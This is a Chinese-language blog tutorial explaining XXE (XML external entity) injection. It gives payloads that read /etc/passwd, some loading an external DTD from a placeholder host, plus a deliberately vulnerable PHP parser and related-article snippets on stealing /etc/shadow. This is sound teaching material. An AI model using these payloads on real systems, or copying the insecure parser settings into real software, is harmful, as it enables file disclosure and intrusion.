五分鐘了解什麼是XXE漏洞

2020-12-13 網盾網絡安全

XML基礎知識

XML簡介:

XXE(XML External Entity Injection) XML外部實體注入,XML是一種類似於HTML(超文本標記語言)的可擴展標記語言,是用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

文檔類型定義(DTD)可定義合法的XML文檔構建模塊。它使用一系列合法的元素來定義文檔的結構。

DTD 可被成行地聲明於 XML 文檔中,也可作為一個外部引用。

內部的 DOCTYPE 聲明

假如 DTD 被包含在您的 XML 源文件中,它應當通過下面的語法包裝在一個 DOCTYPE 聲明中:

<!DOCTYPE 根元素 [元素聲明]>

帶有 DTD 的 XML 文檔實例:

<?xml version="1.0"?><!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>]><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>

根據以上代碼,做出如下解釋

!DOCTYPE note (第二行)定義此文檔是 note 類型的文檔。

!ELEMENT note (第三行)定義 note 元素有四個元素:"to、from、heading,、body"

!ELEMENT to (第四行)定義 to 元素為 "#PCDATA" 類型

!ELEMENT from (第五行)定義 from 元素為 "#PCDATA" 類型

!ELEMENT heading (第六行)定義 heading 元素為 "#PCDATA" 類型

!ELEMENT body (第七行)定義 body 元素為 "#PCDATA" 類型

外部文檔聲明

假如 DTD 位於 XML 源文件的外部,那麼它應通過下面的語法被封裝在一個 DOCTYPE 定義中:

<!DOCTYPE 根元素 SYSTEM "文件名">

這個 XML 文檔和上面的 XML 文檔相同,但是擁有一個外部的 DTD:

<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>

這是包含 DTD 的 "note.dtd" 文件:

<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>

通過 DTD,您的每一個 XML 文件均可攜帶一個有關其自身格式的描述。

通過 DTD,獨立的團體可一致地使用某個標準的 DTD 來交換數據。

而您的應用程式也可使用某個標準的 DTD 來驗證從外部接收到的數據。

您還可以使用 DTD 來驗證您自身的數據。

學習了DTD的兩種引用方法,下面我們主要學習以下XXE漏洞需要利用的DTD實體

實體的概念:

實體是用於定義引用普通文本或特殊字符的快捷方式的變量。實體引用是對實體的引用。實體可在內部或外部進行聲明。

一個內部實體聲明

語法:

<!ENTITY 實體名稱 "實體的值">

例子:

DTD 例子:

<!ENTITY writer "Bill Gates"><!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

注釋: 一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號 (;)。

一個外部實體聲明

語法:

<!ENTITY 實體名稱 SYSTEM "URI/URL">

例子:

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

有了以上的XML和DTD的知識基礎,我們就可以學習XXE漏洞了。

XXE漏洞——XML外部實體注入(XML External Entity)

當應用是通過用戶上傳的XML文件或POST請求進行數據的傳輸,並且應用沒有禁止XML引用外部實體,也沒有過濾用戶提交的XML數據,那麼就會產生XML外部實體注入漏洞,即XXE漏洞

例1:

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]><x>&b;</x>

如果以上xml代碼被解析,則會返回/etc/passwd文件的內容。

例2:

<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >%d;]><x>&xxe;</x>

http://xxxx.com/xxe.dtd的內容為:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

有的小夥伴可能已經發現了,例1中實體名前面並沒有%,而例2中實體名前是有%的,這裡的區別在於,例1中定義的實體是通用實體,而例2中定義的是參數實體,並且參數實體只能在dtd中使用,即例2代碼中的第三行 %d;,這裡就像在外面引用統用實體一樣,這裡的%d;就引用了http://xxx.com/xxe.dtd這個文件到dtd中。

例3:

<?xml version="1.0"?><!DOCTYPE a SYSTEM "http://xxx.com/xxe.dtd"><x>&xxe;</x>

http://xxxx.com/xxe.dtd的內容為:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

不同程序支持的協議不同,如下圖:

LIBXML2PHPJAVA.NETfilefilehttpfilehttphttphttpshttpftpftpftphttpsphpfileftpcompress.zlibjarcompress.bzip2netdocdatamailtoglobgopher *phar

以上面的例子可能還是說的不太清楚,那我們就用一個實例來看一下XXE漏洞到底是什麼東西:

實例1:

環境設置

PHPstudy集成 Apache2.4.39 PHP5.2.17nts

xxe.php後端代碼

<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);$creds = simplexml_import_dom($dom);echo $creds;?>

訪問

刷新並抓包,POST我們構造的payload

發包返回我們查看的c:/windows/system.ini

這就是一個簡單的xxe漏洞的利用過程,當然不止文件讀取這一種危害,更多的利用方式我們後期再為大家介紹!

相關焦點

  • 一文學懂XXE漏洞,從0到1
    學習xxe漏洞到利用xxe漏洞初識XML一個好的代碼基礎能幫助你更好理解一類漏洞
  • 漏洞經驗分享丨Java審計之XXE(下)
    在通過訪問以下URL即可訪問到AxisServlet服務,可對其進行XXE漏洞攻擊。21埠)Python xxe-ftp.py漏洞截圖成功獲取到受害主機的/etc/shadow文件以上是今天的全部內容,希望小夥伴們認真學習,後面我們還會分享其他的漏洞內容,大家敬請期待!新來的朋友如果想要了解其他的必備技能和實用工具,可以點擊菜單欄中的入門錦囊查看相關內容:
  • XXE?我大意了,沒有閃!
    DOCTYPE Pwn SYSTEM "external.dtd"><Pwn>test</Pwn>有什麼可豪橫的?XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網埠掃描、攻擊內網網站、發起dos攻擊等危害。xxe漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件。
  • 文庫 | XML外部實體注入總結(XXE)
    由於xxe漏洞主要是利用了DTD引用外部實體導致的漏洞,那麼重點看下能引用哪些類型的外部實體。外部實體外部實體即在DTD中使用<!ENTITY 實體名稱 SYSTEM "URI">語法引用外部的實體,而非內部實體,那麼URL中能寫哪些類型的外部實體呢?
  • XXE的一些利用方式
    前言沒錯又是我,基於沒有摸過就要玩一遍的原則,有了接下來的這篇文章,主要是參考師傅們的講解來復現的XXE(XML External Entity Injection) 全稱為 XML 外部實體注入,從名字就能看出來,這是一個注入漏洞
  • 看代碼學PHP滲透(3) - 實例化任意對象漏洞
    我們再來說說第二個漏洞。在上圖第9行中,我們發現實例化類的類名和傳入類的參數均在用戶的控制之下。攻擊者可以通過該漏洞,調用PHP代碼庫的任意構造函數。下面,我們來看看具體如何利用這個漏洞。漏洞利用首先,我們需要登錄後臺,找到調用 loadPreviewAction 接口的位置,發現其調用位置如下:
  • 關於WebSphereApplicationServerXXE高危漏洞的預警通報
    近日,我中心技術支持單位通報:WebSphere Application Server被曝存在XXE(外部實體注入)漏洞,遠程攻擊者可以利用此漏洞來竊取敏感信息。漏洞編號:CVE-2020-4643,安全級別為「高危」。
  • 微信支付漏洞曝光!0元就可以不付費購買商家物品,商戶要注意了
    就在昨天,白帽匯安全研究院發表消息,有網友公布了微信官方的開發包出現了漏洞。微信的這個漏洞,可能會導致商家的伺服器被入侵,一旦商家的伺服器被侵入,侵入者可以截斷商家與微信官方的聯繫,偽造信息給商家的伺服器,就可以通過假消息來欺騙商家,實現0元買買買,一分錢不用花就可以買任何東西。而商家表面上收到了錢,實際上是個障眼法。微信這個漏洞是怎麼出現的呢?
  • 解析五個漏洞管理原則與基本的威脅向量
    公司部署的應用越多,漏洞管理的任務就越為複雜。在查找安全漏洞的時候要對潛在的黑客進行封堵,否則很容易就會丟失重要的信息。而當你是一名要判斷處理多個任務的IT管理人員時,漏洞管理顯得尤為重要。  安全人員不能保證什麼漏洞都偵察到。但是通過將漏洞管理化整為零,或許可以實現更為有效地防禦。
  • 所有雷電接口電腦5分鐘內即可破解,漏洞無法軟體修復
    曉查 發自 凹非寺量子位 報導 | 公眾號 QbitAI在好萊塢的電影裡,無論電腦加密水平多麼高,黑客只需幾分鐘就能拷貝走你電腦裡所有的東西,看起來似乎不太現實。荷蘭埃因霍溫科技大學的安全研究員Ruytenberg發現,所有帶雷電接口的電腦都有這個漏洞,而且是個硬體級漏洞,只要幾百美元的設備就能攻破該漏洞。一旦你離開自己的電腦幾分鐘,黑客就可以像電影裡一樣繞過系統密碼,隨意讀取你的硬碟數據、篡改系統。
  • 0元就能買買買,微信支付官方SDK被曝嚴重漏洞
    問題是微信在JAVA版本SDK中的實現存在一個xxe漏洞。 攻擊者可以向通知URL構建惡意payload,根據需要竊取商家伺服器的任何信息。換句話說,黑客利用微信支付的這個漏洞,能實現0元買買買的情況。這並不是說說而已,這位網友還直接甩出了兩張圖,展示出漏洞利用的過程,中招者是vivo和陌陌。
  • 漏洞銀行:DotA計分模式 首創成就徽章激勵漏洞挖掘
    漏洞銀行:DotA計分模式 首創成就徽章激勵漏洞挖掘 漏洞銀行(BUGBANK.CN)作為一個國內異軍突起的漏洞提交平臺,在短時間內吸納了超過千名技術白帽穩定入駐。
  • 西遊記漏洞什麼情況?西遊記到底有什麼漏洞是誰發現的?
    但是呢這次的漏洞並不是電視劇裡的漏洞,而是吳承恩《西遊記》中的漏洞。西遊記中竟然還有漏洞?到底這個漏洞是什麼樣的呢?又是誰發現的呢?小編也非常的好奇,我們一起來看看吧。杭州九蓮小學五(3)班的馬思齊,最愛看《西遊記》。熟讀《西遊記》的她,發現了《西遊記》裡的一個大漏洞——吳承恩在寫《西遊記》中的菜名時,似乎從東土大唐到西域,寫的都是江淮美食?!
  • 五年級小學生指出西遊記一大漏洞,專家反駁不了,說出來你別不信
    作為四大名著之一,相信這個菜單之前很多專家、讀者都曾經讀到過,但都沒發現什麼特別之處,都認為是很普通的一份菜單。一直到2018年,一位五年級的小學生在讀《西遊記》時,發現了其中的一大漏洞。
  • 被曝重大安全漏洞!黑客幾分鐘就能把車開走!被盜車輛大多不知下落...
    比利時魯汶大學的研究人員23日發布的一項研究顯示,特斯拉Model X或存在重大安全漏洞。一名研究人員重寫了特斯拉Model X的密鑰卡固件,從密鑰卡上提取解鎖代碼,並在幾分鐘內開走了這輛Model X汽車。
  • 蘋果AirDrop存在漏洞 具體漏洞是什麼?
    8月2日消息,據外國媒體報導,蘋果隔空投送功能AirDrop被曝出存在漏洞,研究人員發現,AirDrop可以廣播部分加密的(SHA256)哈希,可用於獲取iPhone的電話號碼或Mac的靜態MAC地址等詳細信息。
  • 谷歌曝iPhone重大漏洞!2分鐘即可「隔空」破解所有數據!
    據外媒報導稱,來自谷歌研究員比爾,發現了蘋果手機等設備存在重大漏洞:無需接觸IPhone就可以獲取一切信息。比爾用6個月的時間成功控制了隔壁房間的一臺蘋果手機,入侵過程只要2分鐘左右,就可以訪問手機上的所有數據。
  • 時間漏洞是什麼?時間漏洞存不存在?人類可以穿越時空嗎?
    每個人在童年時都想要的是小叮噹的時光機,而時光機可以隨心所欲地穿梭時空,到達你想去的地方,當然這只是漫畫裡的,但是現實社會中有誰能提出一個能隨心所欲地穿梭時間的時間漏洞,到底是怎麼回事?隨我一起來看看吧!時間上有什麼缺陷? 愛因斯坦的相對論認為重力會使時間變慢。